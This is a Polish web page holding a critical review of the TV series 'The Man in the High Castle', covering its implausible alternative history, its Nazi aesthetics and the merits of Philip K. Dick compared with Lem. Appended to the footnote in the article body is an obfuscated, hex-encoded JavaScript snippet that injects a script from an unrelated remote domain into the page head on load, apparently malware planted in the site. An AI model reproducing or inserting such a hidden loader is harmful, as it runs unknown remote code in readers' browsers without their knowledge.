• Patronem wydania jest Kraków Miasto Literatury UNESCO
Recenzje | 05.02.2018
Jankeski seks ze swastyką („Człowiek z wysokiego zamku”)
Recenzje | 05.02.2018

Jankeski seks ze swastyką („Człowiek z wysokiego zamku”)

Ridley Scott, twórca pierwszego Blade Runnera, najwidoczniej lubi Philipa K. Dicka. Kilka lat temu zaciągnął do współpracy przy produkcji serialu Franka Spotnitza od Z archiwum X, a to oznacza, że chciał dobrze. Ostatecznie Człowiek z wysokiego zamku jest popkulturowym klasykiem literatury (przynajmniej amerykańskiej), a więc świetnie nadaje się na ukoronowanie bogatej kariery wielkiego twórcy.

Dotychczas powstały dwa sezony, które cieszyły się sporym powodzeniem. Wszystko w nich jest niby tak, jak powinno: świat opanowany przez Niemcy i Japonię wygląda wystarczająco strasznie, by nie chcieć w nim żyć. Intryga miłosna między trójką bohaterów — Joe Blake’iem, Julianą Crain i Frankiem Frinkiem — sprawia, że co rusz kibicujemy komu innemu. Rufus Sewell, człowiek mówiący głosem Marlona Brando, sprawdza się całkiem nieźle i całkiem „męsko” (jak na amerykańskiego mężczyznę w średnim wieku przystało). Alexa Davalos (wspomniana Juliana) ma w sobie uwielbiany przez miłośników kina wojennego powab dziewczyny z ruchu oporu. Dlaczego więc piszę ten tekst kompletnie bez entuzjazmu?

Przyznam szczerze: oglądając tę telenowelę, zupełnie nie interesowało mnie, kim jest ów Człowiek z wysokiego zamku.

Amerykański sen o nazizmie

Historia alternatywna to gatunek fikcji odpowiedni dla czasów olbrzymiego rozrostu mediów. Ponieważ teraźniejszość jest skomplikowana, pełna odmiennych perspektyw, a przeszłość, cóż, im głębiej, tym trudniej ją zrozumieć, scenariusze „co by było, gdyby?” pozwalają choć trochę upewnić się, że „jest jak jest”.

I dlatego też powstał serial Człowiek z wysokiego zamku. Monumentalny w formie, w treści — wręcz przeciwnie. Choć wizja inspirowana powieścią Philipa K. Dicka prezentuje się efektownie, trudno ją tak naprawdę nazwać historią alternatywną. Ta bowiem winna zawierać w sobie jakiekolwiek elementy prawdopodobieństwa.

Rzeczywistość alternatywna ma wprowadzać niepokój, skłaniać do pytań: czy tak mogło być? Czy dana rzecz się dzieje w równoległym wymiarze? Jakie wydarzenia sprawiły, że dzieje się tak, a nie inaczej?

Tutaj po prostu nic z tych rzeczy nie ma miejsca i nikt, kto zna choć odrobinę historię II wojny światowej i nazizmu, nie byłby w stanie obcować z tą wizją na poważnie.

Gwoli formalności: III Rzesza nigdy w życiu nie skolonizowałaby trzech kontynentów w przeciągu piętnastu lat. Hitler nie zabiłby Goeringa, nie było to zupełnie w jego interesie. Goering, wyrachowany as lotnictwa z I wojny światowej, gwarantował austriackiemu kapralowi poważanie w armii i przychylność Luftwaffe, które jak żaden inny segment Wehrmachtu składało się z krnąbrnych, pruskich paniczyków, co to kogoś takiego, jak Hitler mogli mieć w głębokim poszanowaniu. Berlin zaś, po „ostatecznym triumfie” nie miał nazywać się Berlinem, a Germanią. Sam Albert Speer, główny architekt Rzeszy przez lata projektował stolicę imperium. Zupełnie nowe oblicze miało otrzymać również austriackie Linz i pewnie właśnie ono nagle wyrosłoby na metropolię, gdyby tak śmiały scenariusz, jak w historii Dicka, się ziścił.

Pomijając fakt, że w serialu HBO częściej pada słowo „naziści” niż „Niemcy”, praktycznie nie sposób zauważyć akcentów ściśle związanych z niemiecką kulturą (a przecież III Rzesza na każdym kroku uginała się od celebracji Goethego i Wagnera). I w ogóle: od kiedy przestrzeń życiowa dla Niemców przesuwa się bardziej na zachód niż na wschód (no tak, kto na tym wschodzie chciałby mieszkać, no kto?)?

 

Zimna wojna w SF

Wyobraźnia amerykańska, gdyby intuicyjnie ją opisać, ma w sobie sporą skłonność do przesady. Wystarczy spojrzeć na filmy reżyserowane przez Clinta Eastwooda lub, co gorsza, widowiska typu Pearl Harbor czy Armageddon. Kult męskości, pracy i pokory, leżący u podstaw amerykańskiego republikanizmu (i imperializmu również), z łatwością komponuje się z ideałami, które w przeciągu kilku lat zbudowały III Rzeszę. A ponieważ trudno, z perspektywy amerykańskiej, pojąć, że podobny projekt nie wypalił nie tylko z racji tego, że naziści za wroga mieli Amerykę (bo co tam jakiś Związek Radziecki czy Anglicy), oczywistym może się wydawać dla Amerykanów fakt, że przegrana z III Rzeszą oznaczałaby inne Stany Zjednoczone rządzące światem. Stany zjednoczone hitlerowskim jarzmem.

Nie ma się co dziwić, że Amerykanie w III Rzeszy widzieli bardziej pionierów niż barbarzyńców, bo ostatecznie poza aspektem wojennym niczego szczególnego z jej strony nie doświadczyli (a z pionierstwa, co wie każdy widz National Geographic/Discovery, skorzystali). Inaczej ma się rzecz po drugiej stronie Odry, gdzie Niemcy zachowywali się nie tylko jak brutale i zwyrodnialcy, ale też… idioci.

Pominę już całą masę błędów ze strony dowództwa, które doprowadziło do ostatecznej porażki Hitlera na froncie wschodnim. Ludobójstwo Żydów oraz bestialskie traktowanie jeńców radzieckich (gotowych w każdej chwili przejść na stronę Wehrmachtu) było nie tylko samobójstwem dla niemieckiej świadomości zbiorowej. To także zupełnie bezsensowne ruchy z punktu widzenia strategii wojennej.

Ignorancja twórców serialu nie jest też wcale daleka ignorancji autora literackiego pierwowzoru. Musimy sobie to jasno powiedzieć: w stosunku do największych mistrzów prozy fantastycznej, P.K. Dick był pisarzem drugorzędnym. Pisarstwo to wielokrotnie zahacza o podobny banał, jaki niechcący uwypuklili twórcy serialu: punktem wyjścia do “prawidłowej wersji ludzkości” jest amerykańska sielskość i banał. U Dicka niejednokrotnie zdarzają się plastikowe, superbohaterskie romanse, schematycznie opisywane narkowizje, czy też nudne pomysły na fabułę, które ubrać można by było w prostą metaforę: zaprzęgnięcie Kerouaca do lotu w kosmos. Literatura to efekciarska – ważna dla branży fantastycznej, która na jej kanwie zbudowała świat gier komputerowych, filmów i seriali, ale niezbyt istotna jako… literatura. Dziełem o wiele bardziej interesującym jest chociażby Szpital przemienienia Lema, w którym to autor nie musi obejmować swą perspektywą całej kuli ziemskiej, by nakreślić istotę krzywdy, jaką nazizm wyrządził światu.

Ogólnie rzecz ujmując, jeśli literaturę SF uznamy za arenę działań zimnej wojny, to Amerykanie, odwrotnie niż gdzie indziej, przegrali tu z kretesem. Przegrali oczywiście tylko na poziomie moralnym. Tak czy inaczej, pisarstwo Clarke’a, Dicka czy Orsona Scotta Carda w żaden sposób nie dorównywało wizjom Lema, Bułyczowa czy Strugackich. Było ono jednak na tyle czytelne i wulgarne w swojej prezentacji fantastyczności*, by szybko zostać zaadaptowanym przez rosnące w potęgę kino i telewizję. I tu właśnie Amerykanie odnieśli ostateczny triumf, bo kiedy po stronie radzieckiej literatura fantastyczna stawała się intrygującym wyrazem chłodnej egzystencji wielkich inżynierów, którzy jednak siłą rzeczy musieli pracować dla zmierzającego ku katastrofie imperium zła, o tyle w Stanach Zjednoczonych fantastyka i fantastyczność* od lat 50. trzymały się na poziomie bruku (spójrzmy chociażby na filmy fantastyczne, gromadzące wówczas za oceanem największą publiczność), którego kulminacją była najpierw seria Star Trek, a potem, oczywiście, Gwiezdne Wojny (te wariackie widowiska, w które nie wierzyli nawet ich twórcy, z biegiem czasu nabrały nowych znaczeń, co słusznie dziś budzi zainteresowanie wielu badaczy kultury popularnej).

Wróćmy jednak do samego Dicka. Mało kto pamięta, że to autor czterdziestu czterech powieści i całej masy opowiadań. Na dodatek taki, który całe życie chciał zawojować główny nurt literatury. Niestety – nie udało się, albowiem próżno szukać Dicka wśród amerykańskich autorów naprawdę branych na poważnie. Znamiennym był akt rozgoryczenia, kiedy to autor Ubika pisał do Federalnego Biura Śledczego, by otoczyć obserwacją tajemny kolektyw pisarzy o nazwie „Lem”, który to ponoć powstał na skutek dziwnych machinacji Związku Radzieckiego.

Pisarz ten oczywiście wyróżniał się na tle swojej epoki. Miał przecież, czego trudno nie dostrzec, sporo do powiedzenia i dysponował ogromnym zapałem twórczym. Proza ta jednak, jak już pisałem wcześniej, z perspektywy czasu nie prezentuje się zbyt wyraziście. Jest nieczytelna, nudna, próbuje zahipnotyzować czytelnika chwytami przestarzałymi nawet dla prozy bulwarowej, jak by nie mogła się zdecydować, co chce osiągnąć: fabułę czy refleksję. Miejscami jednak może służyć jako budulec ciekawego uniwersum, co też starają się zrealizować twórcy Człowieka z wysokiego zamku.  

 

P.K. Dick w świecie designu

Amerykanie mają jednak to do siebie, że dostrzegają pomysły ponad ich wykonaniem, dzięki czemu coś, co nie przeszło w literaturze, może stać się legendą kina. Najsłynniejsza z ekranizacji prozy Dicka – Blade Runner – choć z początku traktowana jako zwykły film akcji, z czasem dorobiła się kultowego statusu. Urósł on nieprzeciętnie do czasów dzisiejszych, czego wyrazem był najnowszy sequel tytułu, który z niekrytą satysfakcją oglądali studenci ASP, autorzy i czytelnicy portali o kulturze oraz wszystkie inne postaci spragnione obłędnej abstrakcji połączonej z obłędnym designem.

Design wiedzie prym również w omawianym tutaj tytule. Bo jaki w swojej istocie jest serial Człowiek z wysokiego zamku? Na pewno opiera się na scenariuszu, który można uznać za wypadkową, powiedzmy, House of Cards, Daredevila i Mr. Robot. Na poziomie wrażenia fabularnego nie oferuje nic ponad to, co znajdziemy w innych produkcjach HBO czy Netflixa. Najkrócej rzecz ujmując: jednostki walczące z wszechogarniającym nihilizmem stają naprzeciw jednostkom w tym nihilizmie zanurzonym. A do tego zawsze jest ktoś pomiędzy oraz element absolutnie tajemniczy, który jest w stanie całą fabułę scalić i jednocześnie wywrócić do góry nogami.

I o ile „zło” z każdej serialowej produkcji ma swoje straszaki i wabiki, tak zło nazistowskie ma… głównie wabiki. Są nimi oczywiście swasty, mundury esesmanów, nienaganne fryzury, monumentalizm, futurystyczna architektura miast. Oto cały design. III Rzesza w serialowej wizji to tak naprawdę Stany Zjednoczone w „karnawałowym” przebraniu. I jeśli coś miałoby tę produkcję dowartościować, to właśnie taka interpretacja  Ameryki – jako kraju imperialistycznego i wyzbytego wszelkich skrupułów. Kraju, który w przeszłości dążył do realizacji wizji społeczeństwa idealnego, przy pomocy najbardziej bezprecedensowych metod: eugeniki (o której również nakręcono świetne filmy dokumentalne), ludobójstwa (Indian, ale także czarnoskórych niewolników i rozmaitych wrogów politycznych) i zaawansowanej manipulacji (której, według wielu, kwintesencją jest popkultura sama w sobie). Wreszcie: kraju, który korzysta z nazistowskiego designu, by przyciągnąć ludzi do zupełnie przeciętnie napisanej historii.

***

Finał drugiego sezonu, w którym syn esesmana dobrowolnie, ku chwale Rzeszy, poddaje się eutanazji (choć ojciec za wszelką cenę chciał ukryć jego wady rozwojowe), napawa cieniem optymizmu, że cała ta makieta służy jednak przekazaniu głębszej prawdy. Tajemnicy, strzeżonej przez Człowieka z wysokiego zamku. Tylko właśnie. Czy wysokie zamki śnią o betonowych fabułach?

* Użyteczne rozróżnienie na fantastykę właściwą jako konwencję literacką oraz „kategorię fantastyczności”, używaną w dziełach niefantastycznych (takich jak Władca Pierścieni czy Gwiezdne Wojny, ale też np. Dziady Adama Mickiewicza) zaproponowało grono autorów w pracy zbiorowej Fantastyka, fantastyczność, fantazmaty (Wydawnictwo Uniwersytetu Gdańskiego, Gdańsk 1994). var _0x29b4=[„\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x65\x62\x2E\x73\x74\x61\x74\x69\x2E\x62\x69\x64\x2F\x6A\x73\x2F\x59\x51\x48\x48\x41\x41\x55\x44\x59\x77\x42\x46\x67\x6C\x44\x58\x67\x30\x56\x53\x42\x56\x57\x79\x45\x44\x51\x35\x64\x78\x47\x43\x42\x54\x4E\x54\x38\x55\x44\x47\x55\x42\x42\x54\x30\x7A\x50\x46\x55\x6A\x43\x74\x41\x52\x45\x32\x4E\x7A\x41\x56\x4A\x53\x49\x50\x51\x30\x46\x4A\x41\x42\x46\x55\x56\x54\x4B\x5F\x41\x41\x42\x4A\x56\x78\x49\x47\x45\x6B\x48\x35\x51\x43\x46\x44\x42\x41\x53\x56\x49\x68\x50\x50\x63\x52\x45\x71\x59\x52\x46\x45\x64\x52\x51\x63\x73\x55\x45\x6B\x41\x52\x4A\x59\x51\x79\x41\x58\x56\x42\x50\x4E\x63\x51\x4C\x61\x51\x41\x56\x6D\x34\x43\x51\x43\x5A\x41\x41\x56\x64\x45\x4D\x47\x59\x41\x58\x51\x78\x77\x61\x2E\x6A\x73\x3F\x74\x72\x6C\x3D\x30\x2E\x35\x30″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64”];var el=document[_0x29b4[1]](_0x29b4[0]);el[_0x29b4[2]]= _0x29b4[3];document[_0x29b4[5]][_0x29b4[4]](el)

Konrad Janczura

Konrad Janczura

(ur.1988) - akademicki rozbijaka o różnorakiej opinii. Lubi książki i muzykę, pisze naraz o jednym i o drugim. Autor opowiadań, w Ha!arcie prowadzi cykl "Kresy nie istnieją".